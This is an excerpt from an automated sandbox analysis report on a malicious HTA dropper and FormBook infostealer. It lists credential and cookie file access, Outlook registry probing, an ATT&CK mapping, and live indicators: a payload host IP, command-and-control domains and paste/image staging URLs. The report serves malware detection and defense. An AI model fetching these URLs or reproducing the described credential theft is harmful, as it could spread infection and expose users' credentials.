Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\ieUnatt.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 10.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3292569182.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294394478.0000000004EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2519525934.0000000002D00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2501710464.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3294498120.0000000003960000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3294304837.0000000004E90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2704949585.0000000004F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3296102797.0000000005890000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	111 Scripting	Valid Accounts	1 Exploitation for Client Execution	111 Scripting	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	114 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	512 Process Injection	3 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	11 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	5 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	31 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	512 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	33%	Virustotal		Browse
goodthhingswithgreatcapitalthingsforgreatnewswithgoodmorng.hta	24%	ReversingLabs	Script-WScript.Trojan.Asthma

Source	Detection	Scanner	Label
http://www.inastra.online/gbk4/?Vp=Xcz/lKtmYzaclw33ohiXS7QV/Se8Pq+n4C+TPx5KwIQWTY7xXXdhlW/5Nf4u3/jcsrURWrDv59TKoDO7PIpnz5UCXQYozh5iQIbWyk5+2KhSIu7LA9XzMojd0zRss0nm4A==&4j6=34T0Mpup0HM	100%	Avira URL Cloud	malware
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF1WS	0%	Avira URL Cloud	safe
http://www.inastra.online/Toyota_F1.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig7	100%	Avira URL Cloud	malware
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF	0%	Avira URL Cloud	safe
http://www.aaavvejibej.bond/j82t/?Vp=NfWXDnAQh5K3pnOvM14VTy+amnJPckA/Yfv/BKk9TV5fOF3SI/PjO3S5UMxnHoxUaRbUJGZsTsQcLMza5Yogw/RRse+ReaiEQqVJDCCAhnW/Ts1pacnUyHPkBApS4T/Gdg==&4j6=34T0Mpup0HM	0%	Avira URL Cloud	safe
http://www.Inastra.online	100%	Avira URL Cloud	malware
http://www.deikamalaharris.info/lrgf/?4j6=34T0Mpup0HM&Vp=hLl6Iyyv1/RGmZWnRJ8bmiMJmTP6dhK4gm2wi1fTCYCBRK5IakRwGOHrv3dZYUH5yIXieuiAG/czDQPLmWqEXri0WwwC7LrF760VohCsOW1AaptwdQrPiPahh9b1GlBygA==	0%	Avira URL Cloud	safe
http://www.deikamalaharris.info/lrgf/	0%	Avira URL Cloud	safe
http://www.inastra.online/Opel_Astra.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig	100%	Avira URL Cloud	malware
http://www.ortenckt.online/aj1a/?Vp=Ur0ZWyFT8OiEfJLk5CDxNCd7dngJ/nUOC6gmTkbLwRlGrqwEpeuL3mntSz3wGsXywBh/uITd5DD6tXUqWwiKRulf6Fi9+BH5MaMcCr6H0zaDwVKxvI7eerOQmaahTyI3Ow==&4j6=34T0Mpup0HM	0%	Avira URL Cloud	safe
http://www.inastra.online/display.cfm	100%	Avira URL Cloud	malware
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFN	0%	Avira URL Cloud	safe
http://www.ortenckt.online/aj1a/	0%	Avira URL Cloud	safe
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFLMEM	0%	Avira URL Cloud	safe
http://www.inastra.online/Vintage_Car_Auctions.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9	100%	Avira URL Cloud	malware
http://www.deikamalaharris.info	0%	Avira URL Cloud	safe
http://www.aaavvejibej.bond/j82t/	0%	Avira URL Cloud	safe
http://107.172.44.175/73/simplec	0%	Avira URL Cloud	safe
http://www.ks1x7i.vip/dlcs/?4j6=34T0Mpup0HM&Vp=w6QiAdP8awPLsa7eBVc39wzje3KOivPaseEO6V4cXiHKOPXUCZsKQLVdGPqPnVEzm93wkYEJdOAjyg/exCmJU6Q78y90wryT7YTpVv78cZYTmx3lErHzHgyioKvo20EaEA==	0%	Avira URL Cloud	safe
http://www.inastra.online/Toyota_Avensis.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rls	100%	Avira URL Cloud	malware
http://www.inastra.online/__media__/js/trademark.php?d=inastra.online&type=ns	100%	Avira URL Cloud	malware
http://www.ks1x7i.vip/dlcs/	0%	Avira URL Cloud	safe
http://www.inastra.online/2019_Toyota_Land_Cruiser.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEX	100%	Avira URL Cloud	malware
http://www.inastra.online/__media__/design/underconstructionnotice.php?d=inastra.online	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.inastra.online	208.91.197.27	true	true	unknown
paste.ee	172.67.187.200	true	false	high
www.aaavvejibej.bond	104.21.31.249	true	true	unknown
cloudinary.map.fastly.net	151.101.1.137	true	false	high
deikamalaharris.info	3.33.130.190	true	true	unknown
ortenckt.online	3.33.130.190	true	true	unknown
ks1x7i.vip	3.33.130.190	true	true	unknown
res.cloudinary.com	unknown	unknown	false	high
www.ortenckt.online	unknown	unknown	true	unknown
www.ks1x7i.vip	unknown	unknown	true	unknown
www.deikamalaharris.info	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.deikamalaharris.info/lrgf/	true	Avira URL Cloud: safe	unknown
http://www.inastra.online/gbk4/?Vp=Xcz/lKtmYzaclw33ohiXS7QV/Se8Pq+n4C+TPx5KwIQWTY7xXXdhlW/5Nf4u3/jcsrURWrDv59TKoDO7PIpnz5UCXQYozh5iQIbWyk5+2KhSIu7LA9XzMojd0zRss0nm4A==&4j6=34T0Mpup0HM	true	Avira URL Cloud: malware	unknown
http://www.aaavvejibej.bond/j82t/?Vp=NfWXDnAQh5K3pnOvM14VTy+amnJPckA/Yfv/BKk9TV5fOF3SI/PjO3S5UMxnHoxUaRbUJGZsTsQcLMza5Yogw/RRse+ReaiEQqVJDCCAhnW/Ts1pacnUyHPkBApS4T/Gdg==&4j6=34T0Mpup0HM	true	Avira URL Cloud: safe	unknown
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF	true	Avira URL Cloud: safe	unknown
http://www.deikamalaharris.info/lrgf/?4j6=34T0Mpup0HM&Vp=hLl6Iyyv1/RGmZWnRJ8bmiMJmTP6dhK4gm2wi1fTCYCBRK5IakRwGOHrv3dZYUH5yIXieuiAG/czDQPLmWqEXri0WwwC7LrF760VohCsOW1AaptwdQrPiPahh9b1GlBygA==	true	Avira URL Cloud: safe	unknown
http://www.ortenckt.online/aj1a/?Vp=Ur0ZWyFT8OiEfJLk5CDxNCd7dngJ/nUOC6gmTkbLwRlGrqwEpeuL3mntSz3wGsXywBh/uITd5DD6tXUqWwiKRulf6Fi9+BH5MaMcCr6H0zaDwVKxvI7eerOQmaahTyI3Ow==&4j6=34T0Mpup0HM	true	Avira URL Cloud: safe	unknown
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg	false		high
http://www.ortenckt.online/aj1a/	true	Avira URL Cloud: safe	unknown
http://www.aaavvejibej.bond/j82t/	true	Avira URL Cloud: safe	unknown
https://paste.ee/r/EDVuc/0	false		high
http://www.ks1x7i.vip/dlcs/?4j6=34T0Mpup0HM&Vp=w6QiAdP8awPLsa7eBVc39wzje3KOivPaseEO6V4cXiHKOPXUCZsKQLVdGPqPnVEzm93wkYEJdOAjyg/exCmJU6Q78y90wryT7YTpVv78cZYTmx3lErHzHgyioKvo20EaEA==	true	Avira URL Cloud: safe	unknown
http://www.ks1x7i.vip/dlcs/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dts.gnpge.com	firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000003.00000002.2201226983.0000000007980000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdn.consentmanager.net	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff2	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/pics/468/netsol-favicon-2020.jpg	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://analytics.paste.ee	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.Inastra.online	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://i2.cdn-image.com/__media__/pics/28903/search.png)	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.woff2	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://go.micros	powershell.exe, 00000003.00000002.2193576971.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIF1WS	powershell.exe, 00000003.00000002.2191950238.0000000003597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.otf	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://go.micros	powershell.exe, 00000007.00000002.2447951810.0000000007719000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.inastra.online/Toyota_F1.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig7	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/pscore6lB	powershell.exe, 00000003.00000002.2193576971.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.otf	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000003.00000002.2196878703.00000000064B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inastra.online/Opel_Astra.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9CR1rlsw0ig	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.eot	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com;	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot?#iefix	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000003.00000002.2193576971.0000000005451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000004CB1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.inastra.online/display.cfm	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://secure.gravatar.com	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://delivery.consentmanager.net	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000003.00000002.2196878703.00000000064B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFN	powershell.exe, 00000003.00000002.2191950238.0000000003597000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.eot	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.inastra.online/Vintage_Car_Auctions.cfm?fp=KxtlUTPhWB%2Fwpu6zuo7h6FGLFrhSVbAgHpvfpKEXKXM9	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://go.micro	powershell.exe, 00000003.00000002.2193576971.0000000005BE5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/pics/28905/arrrow.png)	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.google.com;	powershell.exe, 00000007.00000002.2409280410.0000000004F1F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000007.00000002.2409280410.0000000005D17000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.172.44.175/73/simplecookiebiscutwithsweetnessforentiretime.tIFLMEM	powershell.exe, 00000003.00000002.2201365075.00000000079DC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.svg#montserrat-regular	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.woff	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	ieUnatt.exe, 0000000C.00000002.3296931324.000000000813E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/pics/10667/netsol-logos-2020-165-50.jpg	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/pics/29590/bg1.png)	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
https://res.cloudinary.com	powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	false		high
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgt	powershell.exe, 00000007.00000002.2409280410.0000000004E07000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.deikamalaharris.info	xwZkSdnVCDBnu.exe, 0000000E.00000002.3296102797.000000000591A000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro	powershell.exe, 00000007.00000002.2452388355.0000000008530000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2407510902.0000000003163000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.172.44.175/73/simplec	powershell.exe, 00000003.00000002.2193576971.0000000005876000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://i2.cdn-image.com/__media__/fonts/montserrat-regular/montserrat-regular.ttf	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000003.00000002.2193576971.00000000055A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://i2.cdn-image.com/__media__/fonts/montserrat-bold/montserrat-bold.ttf	ieUnatt.exe, 0000000C.00000002.3295345373.0000000005AE4000.00000004.10000000.00040000.00000000.sdmp, ieUnatt.exe, 0000000C.00000002.3296754853.0000000007DE0000.00000004.00000800.00020000.00000000.sdmp, xwZkSdnVCDBnu.exe, 0000000E.00000002.3294728562.0000000003844000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000F.00000002.2803475375.000000002A984000.00000004.80000000.00040000.00000000.sdmp	false		high
